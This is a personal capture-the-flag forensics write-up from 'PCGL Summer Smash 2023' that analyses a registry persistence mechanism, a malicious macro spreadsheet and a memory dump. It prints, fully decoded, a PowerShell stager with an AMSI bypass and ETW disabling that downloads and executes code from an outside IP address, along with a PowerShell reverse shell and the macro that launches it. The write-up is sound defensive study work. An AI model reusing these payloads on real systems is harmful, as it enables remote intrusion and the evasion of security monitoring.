PCGL Summer Smash - 2023

Forensics

Those Who Persist

During a recent incident it was discovered that malicious actors have compromised many hosts in our internal network. We need to identify and analyze the mechanism they used to achieve persistence.

NTUSER.DAT

I was looking for an easy way out with strings NTUSER.DAT | grep HTB, but no such luck. Searching for flag and flag didn't net any useful results either. When I tried normal strings, I found an interesting result:

!Do not use this registry key
{374DE290-123F-4565-9164-39C4925E467B}

And whenever I used Find to get to the registry key, it took me to Computer\HKEY_CLASSES_ROOT\CLSID\{374DE290-123F-4565-9164-39C4925E467B}. I couldn't find anything interesting though, so I don't think we are on the right track.

I saw indications of PowerShell running ({1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\WindowsPowerShell\v1.0\powershell.exe), as well as the Registry Viewer ({7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\AccessData\Registry Viewer\RegistryViewer.exe), OneDrive (C:\Users\wade\AppData\Local\Microsoft\OneDrive\OneDrive.exeDrive), and Sticky Notes (Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe).

We know that the memory was captured via FTK Imager thanks to 6yC:\Program Files\AccessData\FTK Imager\FTK Imager.exe and C:\Users\wade\Downloads\AccessData_FTK_Imager_4.7.1.exe. The user was wade and the computer is named desktop-utdhed2. There was one interesting looking URL, https://wns2-ln2p.notify.windows.com/?token=AwYAAADaCKxVjYVkpi8ZwzNMP8g5sZN0ndGzTAvIg5RQrzYLwKZUAcgOiizBFcDnJQCbltVwZgIqGruS6xM/R7dKPBesYDeXTdgIU41vXWJpOQ8AkY3Kv80CBB2LWCQcu5lMPbGk4RT0N89dotkwwcaLx2j2, but I wasn't able to get it to load.

I decided to circle back to the registry stuff, since that really struck me as odd the first time I saw it. I used strings NTUSER.DAT | grep "Registry Viewer" -A 5 -B 5 to get me only the bits that would likely be important, or to at least narrow down the search space. For the one I found earlier with the GUID 7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E, I did some digging and determined that it was used as a KNOWNFOLDERID for FOLDERID_ProgramFilesX86, which matches up with the other path we found: C:\Program Files (x86)\AccessData\Registry Viewer\RegistryViewer.exe.

I wasn't finding anything in strings, so I decided to take a look inside the actual file. Whenever I did, there was a large amount of base64-like text that was present by the string R e g i s t r y V i e w e r . e x e, so I decided to investigate. Upon parsing it out in CyberChef by removing the spaces, decoding base64, and decoding the text as UTF-16LE (1200), I got the following:

If($PSVersionTable.PSVersion.Major -ge 3){$Ref=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$Ref.GetField('amsiInitFailed','NonPublic,Static').Setvalue($Null,$true);[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0);};[System.Net.ServicePointManager]::Expect100Continue=0;$wc=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$ser=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwA3ADcALgA3ADQALgAxADkAOAAuADUAMgA6ADgAMAA4ADMA')));$t='/admin/get.php';$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;$Script:Proxy = $wc.Proxy;$K=[System.Text.Encoding]::ASCII.GetBytes('J*E6.pn]PZG1rqcoV)j83/X,abe7N(vR');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};$wc.Headers.Add("Cookie","GqjqNENk=xJ0jGlAkbz30cLJ6GZpWpvQuSzE=");$data=$wc.DownloadData($ser+$t);$iv=$data[0..3];$data=$data[4..$data.length];-join[Char[]](& $R $data ($IV+$K))|IEX

The base64 string near /admin/get.php can be decoded to http://77.74.198.52:8083/, which isn't currently a live site, either the root IP or the /admin/get.php path.

Turns out you can use strings -e l NTUSER.DAT to parse out text that was created on Windows, and life was made a whole lot easier when I did that. I found a second base64-encoded block that actually had the flag in it, I was overthinking everything:

If($PSVersionTable.PSVersion.Major -ge 3){$Ref=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$Ref.GetField('amsiInitFailed','NonPublic,Static').Setvalue($Null,$true);[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0);};[System.Net.ServicePointManager]::Expect100Continue=0;$wc=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$flag='HTB{3v3n_th0s3_wh0_p3rs1st_c4n_b3_d3t3ct3d}';$ser=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwA3ADcALgA3ADQALgAxADkAOAAuADUAMgA6ADgAMAA4ADMA')));$t='/admin/get.php';$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;$Script:Proxy = $wc.Proxy;$K=[System.Text.Encoding]::ASCII.GetBytes('J*E6.pn]PZG1rqcoV)j83/X,abe7N(vR');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};$wc.Headers.Add("Cookie","GqjqNENk=xJ0jGlAkbz30cLJ6GZpWpvQuSzE=");$data=$wc.DownloadData($ser+$t);$iv=$data[0..3];$data=$data[4..$data.length];-join[Char[]](& $R $data ($IV+$K))|IEX

Answer: HTB{3v3n_th0s3_wh0_p3rs1st_c4n_b3_d3t3ct3d}; 525 points

Sabotage

A lot of people wanted to be the fist to create a time machine. Unfortunately for them Dr. Brown was the one to do it. Thus, he receives a ton of phishing mails per day. Most of them are prompting him to go back in time in order to infect his old computer which contains the time-machine blueprints. Analyse this document and decide whether it is a trap or not.

congratulations.xlsm

The first thing I did was extract the archive from the XLSM file to see what was inside. I went to xl/macrosheets and found sheet1.xml. Instead of trying to manually defobfuscate all the code, I attempted to use XLMMacroDeobfuscator like so:

$ python3 -m pip install XLMMacroDeobfuscator --force
$ xlmdeobfuscator --file .\congratulations.xlsm
          _        _______
|\     /|( \      (       )
( \   / )| (      | () () |
 \ (_) / | |      | || || |
  ) _ (  | |      | |(_)| |
 / ( ) \ | |      | |   | |
( /   \ )| (____/\| )   ( |
|/     \|(_______/|/     \|
   ______   _______  _______  ______   _______           _______  _______  _______ _________ _______  _______
  (  __  \ (  ____ \(  ___  )(  ___ \ (  ____ \|\     /|(  ____ \(  ____ \(  ___  )\__   __/(  ___  )(  ____ )
  | (  \  )| (    \/| (   ) || (   ) )| (    \/| )   ( || (    \/| (    \/| (   ) |   ) (   | (   ) || (    )|
  | |   ) || (__    | |   | || (__/ / | (__    | |   | || (_____ | |      | (___) |   | |   | |   | || (____)|
  | |   | ||  __)   | |   | ||  __ (  |  __)   | |   | |(_____  )| |      |  ___  |   | |   | |   | ||     __)
  | |   ) || (      | |   | || (  \ \ | (      | |   | |      ) || |      | (   ) |   | |   | |   | || (\ (
  | (__/  )| (____/\| (___) || )___) )| )      | (___) |/\____) || (____/\| )   ( |   | |   | (___) || ) \ \__
  (______/ (_______/(_______)|/ \___/ |/       (_______)\_______)(_______/|/     \|   )_(   (_______)|/   \__/


XLMMacroDeobfuscator(v0.2.7) - https://github.com/DissectMalware/XLMMacroDeobfuscator

File: D:\Programming\bits-and-bobbles\notes\assets\hackthebox\PCGL-Summer-Smash-2023\forensics_sabotage\congratulations.xlsm

Unencrypted xlsm file

[Loading Cells]
auto_open: auto_open->Empty!$A$1:$A$172
[Starting Deobfuscation]
CELL:A1        , FullEvaluation      , GOTO($CI$19)
CELL:CI24      , FullEvaluation      , GOTO($DC$53)
CELL:DC53      , FullEvaluation      , FORMULA("=REGISTER(""Shell32"",""ShellExecuteA"",""JJCCCJJ"",""qgwmsy"","""",1,9)",$F$137)
CELL:DC58      , FullEvaluation      , GOTO($GC$104)
CELL:GC104     , FullEvaluation      , FORMULA("=qgwmsy(0,""open"",program,args,0,5)",$H$111)
CELL:GC105     , FullEvaluation      , GOTO($AC$55)
CELL:AC55      , FullEvaluation      , SET.NAME(program,$AC$54)
CELL:AC60      , FullEvaluation      , SET.NAME(part1,$AC$59)
CELL:AC65      , FullEvaluation      , SET.NAME(part2,$AC$64)
CELL:AC70      , FullEvaluation      , SET.NAME(part3,$AC$69)
CELL:AC71      , FullEvaluation      , GOTO($BT$100)
CELL:BT105     , FullEvaluation      , SET.NAME(part4,$BT$104)
CELL:BT111     , FullEvaluation      , SET.NAME(part5,$BT$110)
CELL:BT117     , FullEvaluation      , SET.NAME(part6,$BT$116)
CELL:BT123     , FullEvaluation      , SET.NAME(part7,$BT$122)
CELL:BT129     , FullEvaluation      , SET.NAME(part8,$BT$128)
CELL:BT137     , FullEvaluation      , SET.NAME(part9,$BT$136)
CELL:BT143     , FullEvaluation      , SET.NAME(part10,$BT$142)
CELL:BT150     , FullEvaluation      , SET.NAME(part11,$BT$149)
CELL:BT156     , FullEvaluation      , SET.NAME(part12,$BT$155)
CELL:BT163     , FullEvaluation      , SET.NAME(part13,$BT$162)
CELL:BT170     , FullEvaluation      , SET.NAME(part14,$BT$169)
CELL:BT171     , FullEvaluation      , GOTO($AE$55)
CELL:AE61      , FullEvaluation      , SET.NAME(part15,$AE$60)
CELL:AE68      , FullEvaluation      , SET.NAME(part16,$AE$67)
CELL:AE74      , FullEvaluation      , SET.NAME(part17,$AE$73)
CELL:AE80      , FullEvaluation      , SET.NAME(part18,$AE$79)
CELL:AE83      , FullEvaluation      , SET.NAME(part19,$AE$82)
CELL:AE84      , FullEvaluation      , GOTO($DC$99)
CELL:DC102     , FullEvaluation      , SET.NAME(part20,$DC$101)
CELL:DC105     , FullEvaluation      , SET.NAME(part21,$DC$104)
CELL:DC109     , FullEvaluation      , SET.NAME(part22,$DC$108)
CELL:DC113     , FullEvaluation      , SET.NAME(part23,$DC$112)
CELL:DC119     , FullEvaluation      , SET.NAME(part24,$DC$118)
CELL:DC125     , FullEvaluation      , SET.NAME(part25,$DC$124)
CELL:DC131     , FullEvaluation      , SET.NAME(part26,$DC$130)
CELL:DC138     , FullEvaluation      , SET.NAME(part27,$DC$137)
CELL:DC145     , FullEvaluation      , SET.NAME(part28,$DC$144)
CELL:DC150     , FullEvaluation      , SET.NAME(part29,$DC$149)
CELL:DC155     , FullEvaluation      , SET.NAME(part30,$DC$154)
CELL:DC156     , FullEvaluation      , SET.NAME(args,-enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQA0ADcALgAxADgAMgAuADEANwAyAC4AMQA4ADkAJwAsADgAMAA4ADAAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcAOwAkAGYAbABhAGcAPQAiAEgAVABCAHsANABuAF8ANAB0AHQANABjAGsAXwBWADMAYwB0ADAAcgBfAEMANABtADMAXwBmAHIAMABtAF8AdABoADMAXwBwADQAcwB0AH0AIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=)
CELL:DC157     , FullEvaluation      , GOTO($F$137)
CELL:F137      , FullEvaluation      , =REGISTER("Shell32","ShellExecuteA","JJCCCJJ","qgwmsy","",1,9)
CELL:F138      , FullEvaluation      , GOTO($H$111)
CELL:H111      , PartialEvaluation   , =Shell32.ShellExecuteA(0,"open","C:\Windows\System32\WindowsPowerShell\v1. 0\powershell.exe",-enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQA0ADcALgAxADgAMgAuADEANwAyAC4AMQA4ADkAJwAsADgAMAA4ADAAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcAOwAkAGYAbABhAGcAPQAiAEgAVABCAHsANABuAF8ANAB0AHQANABjAGsAXwBWADMAYwB0ADAAcgBfAEMANABtADMAXwBmAHIAMABtAF8AdABoADMAXwBwADQAcwB0AH0AIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=,0,5)
CELL:H112      , FullEvaluation      , RETURN()

Files:

[END of Deobfuscation]
time elapsed: 0.18193507194519043

We can see the base64-encoded PowerShell, so all we need to do is run it through From Base64 and Decode Text UTF-16LE (1200) on CyberChef and we get the following:

$client = New-Object System.Net.Sockets.TCPClient('147.182.172.189',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$flag="HTB{4n_4tt4ck_V3ct0r_C4m3_fr0m_th3_p4st}";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Answer: HTB{4n_4tt4ck_V3ct0r_C4m3_fr0m_th3_p4st}; 650 points

Unfinished Business

"Mad Dog" Tannen wanted to get revenge on Marty after their duel outside of Palace Saloon. While in prison, he developed a ransomware to infect Marty's computer. Now, every time Marty reboots his computer, his files get encrypted. Without being able to access them, Marty cannot follow the plan Mr.Brown sent to him, in order to escape the Old West before it is too late. Backup link: drive.google.com/file/d/12SU4D6VPNEGkYVyH1T17ZngUY_-9vdPA

Since this is a raw memory file, I figured Volatility would be as good a starting point as any. The first thing I ran was ./vol.py -f memory.raw windows.psscan.PsScan:

PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64   CreateTime      ExitTime       File output

4       0       System  0x2cca940       73      515     N/A     False   2022-02-10 16:33:26.000000      N/A     Disabled
1292    436     spoolsv.exe     0x242ea2a8      16      299     0       False   2022-02-10 16:33:28.000000      N/A    Disabled
2732    2524    VBoxTray.exe    0x3e2a0030      14      159     2       False   2022-02-10 16:33:41.000000      N/A    Disabled
3272    556     dllhost.exe     0x3e2b2170      6       16      2       False   2022-02-10 16:33:54.000000      N/A    Disabled
312     304     conhost.exe     0x3e442d28      2       33      0       False   2022-02-10 16:33:29.000000      N/A    Disabled
428     272     sshd.exe        0x3e454b00      4       102     0       False   2022-02-10 16:33:29.000000      N/A    Disabled
1900    436     svchost.exe     0x3e459030      6       94      0       False   2022-02-10 16:33:30.000000      N/A    Disabled
2240    2232    csrss.exe       0x3e493d28      7       187     2       False   2022-02-10 16:33:37.000000      N/A    Disabled
1124    436     SearchIndexer.  0x3e49e030      15      713     0       False   2022-02-10 16:33:35.000000      N/A    Disabled
2100    1124    SearchProtocol  0x3e4da030      9       280     0       False   2022-02-10 16:33:35.000000      N/A    Disabled
2120    1124    SearchFilterHo  0x3e4de030      6       91      0       False   2022-02-10 16:33:35.000000      N/A    Disabled
2164    1124    SearchProtocol  0x3e4f2578      8       257     1       False   2022-02-10 16:33:35.000000      N/A    Disabled
2268    2232    winlogon.exe    0x3e505488      6       125     2       False   2022-02-10 16:33:37.000000      N/A    Disabled
2496    2268    userinit.exe    0x3e544820      4       47      2       False   2022-02-10 16:33:41.000000      N/A    Disabled
2512    828     dwm.exe 0x3e54f350      4       71      2       False   2022-02-10 16:33:41.000000      N/A     Disabled
2524    2496    explorer.exe    0x3e552668      32      676     2       False   2022-02-10 16:33:41.000000      N/A    Disabled
1112    436     svchost.exe     0x3e60f030      21      371     0       False   2022-02-10 16:33:27.000000      N/A    Disabled
1212    828     dwm.exe 0x3e623818      4       70      1       False   2022-02-10 16:33:28.000000      N/A     Disabled
1224    1196    explorer.exe    0x3e631030      34      665     1       False   2022-02-10 16:33:28.000000      N/A    Disabled
1328    436     taskhost.exe    0x3e67d370      10      155     1       False   2022-02-10 16:33:28.000000      N/A    Disabled
1336    436     svchost.exe     0x3e67ed28      25      322     0       False   2022-02-10 16:33:28.000000      N/A    Disabled
1448    436     vmicsvc.exe     0x3e6d24c8      7       105     0       False   2022-02-10 16:33:28.000000      N/A    Disabled
1468    436     vmicsvc.exe     0x3e6e25f8      9       114     0       False   2022-02-10 16:33:28.000000      N/A    Disabled
1496    436     vmicsvc.exe     0x3e6e9d28      5       68      0       False   2022-02-10 16:33:28.000000      N/A    Disabled
1520    436     vmicsvc.exe     0x3e6ecd28      6       81      0       False   2022-02-10 16:33:28.000000      N/A    Disabled
1548    436     vmicsvc.exe     0x3e6f2a48      6       82      0       False   2022-02-10 16:33:28.000000      N/A    Disabled
1584    436     svchost.exe     0x3e6f83c0      13      188     0       False   2022-02-10 16:33:28.000000      N/A    Disabled
272     1804    cygrunsrv.exe   0x3e7d2a70      0       -       0       False   2022-02-10 16:33:29.000000      2022-02-10 16:33:29.000000      Disabled
1916    436     wlms.exe        0x3e7f4918      5       48      0       False   2022-02-10 16:33:28.000000      N/A    Disabled
304     296     csrss.exe       0x3e8b2030      8       466     0       False   2022-02-10 16:33:26.000000      N/A    Disabled
352     332     csrss.exe       0x3e8bd8a0      7       180     1       False   2022-02-10 16:33:26.000000      N/A    Disabled
436     340     services.exe    0x3e923030      27      274     0       False   2022-02-10 16:33:27.000000      N/A    Disabled
444     340     lsass.exe       0x3e92ad28      9       651     0       False   2022-02-10 16:33:27.000000      N/A    Disabled
452     340     lsm.exe 0x3e92b3d0      12      189     0       False   2022-02-10 16:33:27.000000      N/A     Disabled
556     436     svchost.exe     0x3e93d3a8      15      372     0       False   2022-02-10 16:33:27.000000      N/A    Disabled
828     436     svchost.exe     0x3e948030      22      433     0       False   2022-02-10 16:33:27.000000      N/A    Disabled
620     436     VBoxService.ex  0x3e973030      12      118     0       False   2022-02-10 16:33:27.000000      N/A    Disabled
724     436     svchost.exe     0x3e992820      19      366     0       False   2022-02-10 16:33:27.000000      N/A    Disabled
1240    436     sppsvc.exe      0x3e9ad360      6       151     0       False   2022-02-10 16:33:30.000000      N/A    Disabled
880     436     svchost.exe     0x3e9c8708      39      822     0       False   2022-02-10 16:33:27.000000      N/A    Disabled
672     436     svchost.exe     0x3ee2da28      10      258     0       False   2022-02-10 16:33:27.000000      N/A    Disabled
392     332     winlogon.exe    0x3ee4bd28      6       122     1       False   2022-02-10 16:33:26.000000      N/A    Disabled
1804    436     cygrunsrv.exe   0x3ee4c030      7       107     0       False   2022-02-10 16:33:28.000000      N/A    Disabled
1720    1224    VBoxTray.exe    0x3ee4fd28      15      164     1       False   2022-02-10 16:33:28.000000      N/A    Disabled
2460    436     taskhost.exe    0x3ee9a6c8      10      157     2       False   2022-02-10 16:33:41.000000      N/A    Disabled
984     436     svchost.exe     0x3eeb25f0      21      347     0       False   2022-02-10 16:33:27.000000      N/A    Disabled
236     4       smss.exe        0x3ef877b8      4       32      N/A     False   2022-02-10 16:33:26.000000      N/A    Disabled
340     296     wininit.exe     0x3f1fbb00      7       88      0       False   2022-02-10 16:33:26.000000      N/A    Disabled
3180    2240    conhost.exe     0x3f4a1d28      2       52      2       False   2022-02-10 16:33:49.000000      N/A    Disabled
3180    2240    conhost.exe     0x3f562d28      2       52      2       False   2022-02-10 16:33:49.000000      N/A    Disabled
3168    2524    DumpIt.exe      0x3ffe3030      2       37      2       False   2022-02-10 16:33:49.000000      N/A    Disabled

Didn't see anything too crazy here, so I decided to move on. Next I looked for processes running via the command line with ./vol.py -f memory.raw windows.cmdline.CmdLine:

PID     Process Args

4       System  Required memory at 0x10 is not valid (process exited?)
236     smss.exe        \SystemRoot\System32\smss.exe
304     csrss.exe       %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
340     wininit.exe     wininit.exe
352     csrss.exe       %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
392     winlogon.exe    winlogon.exe
436     services.exe    C:\Windows\system32\services.exe
444     lsass.exe       C:\Windows\system32\lsass.exe
452     lsm.exe C:\Windows\system32\lsm.exe
556     svchost.exe     C:\Windows\system32\svchost.exe -k DcomLaunch
620     VBoxService.ex  system32\VBoxService.exe
672     svchost.exe     C:\Windows\system32\svchost.exe -k RPCSS
724     svchost.exe     C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
828     svchost.exe     C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
880     svchost.exe     C:\Windows\system32\svchost.exe -k netsvcs
984     svchost.exe     C:\Windows\system32\svchost.exe -k LocalService
1112    svchost.exe     C:\Windows\system32\svchost.exe -k NetworkService
1212    dwm.exe "C:\Windows\system32\Dwm.exe"
1224    explorer.exe    C:\Windows\Explorer.EXE
1292    spoolsv.exe     C:\Windows\System32\spoolsv.exe
1328    taskhost.exe    "taskhost.exe"
1336    svchost.exe     C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
1448    vmicsvc.exe     C:\Windows\system32\vmicsvc.exe -feature Heartbeat
1468    vmicsvc.exe     C:\Windows\system32\vmicsvc.exe -feature KvpExchange
1496    vmicsvc.exe     C:\Windows\system32\vmicsvc.exe -feature Shutdown
1520    vmicsvc.exe     C:\Windows\system32\vmicsvc.exe -feature TimeSync
1548    vmicsvc.exe     C:\Windows\system32\vmicsvc.exe -feature VSS
1584    svchost.exe     C:\Windows\System32\svchost.exe -k utcsvc
1720    VBoxTray.exe    "C:\Windows\System32\VBoxTray.exe"
1804    cygrunsrv.exe   "C:\Program Files\OpenSSH\bin\cygrunsrv.exe"
1916    wlms.exe        C:\Windows\system32\wlms\wlms.exe
272     cygrunsrv.exe   Required memory at 0x7ffde010 is not valid (process exited?)
312     conhost.exe     \??\C:\Windows\system32\conhost.exe "1461302731-417121245-1987161817-246317684428009589-979160381-487456892177321264
428     sshd.exe        "C:\Program Files\OpenSSH\usr\sbin\sshd.exe"
1240    sppsvc.exe      C:\Windows\system32\sppsvc.exe
1900    svchost.exe     C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
1124    SearchIndexer.  C:\Windows\system32\SearchIndexer.exe /Embedding
2100    SearchProtocol  "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
2120    SearchFilterHo  "C:\Windows\system32\SearchFilterHost.exe" 0 504 508 516 65536 512
2164    SearchProtocol  "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-1716914095-909560446-1177810406-10002_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-1716914095-909560446-1177810406-10002 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"  "1"
2240    csrss.exe       %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
2268    winlogon.exe    winlogon.exe
2460    taskhost.exe    "taskhost.exe"
2496    userinit.exe    C:\Windows\system32\userinit.exe
2512    dwm.exe "C:\Windows\system32\Dwm.exe"
2524    explorer.exe    C:\Windows\Explorer.EXE
2732    VBoxTray.exe    "C:\Windows\System32\VBoxTray.exe"
3168    DumpIt.exe      "C:\Users\Marty\Desktop\DumpIt.exe"
3180    conhost.exe     \??\C:\Windows\system32\conhost.exe "752291123-1062527654-1094795979-574998146-1859017313-1489761232-975889212-1831561519
3272    dllhost.exe     C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}

Nothing crazy there, and netscan didn't net anything interesting either. I tried dumping all the files to see if anything interesting shook out with ./vol.py -f memory.raw -o ./dumped_files windows.dumpfiles.DumpFiles, and I got 2,398 resulting artifacts, but nothing that immediately appeared to be relevant.

I ran the windows.pstree module to check if any services were spawned via parent processes that were out of place, but couldn't find anything anomalous.

reversing

string theory

Our leading scientists have worked for years to uncover the secrets of the universe, and we've finally obtained it! Unfortunately, one of them was very clumsy and dropped the documentation into a wormhole, where it's been shattered across time and space! Can you recover it for them?

stringtheory

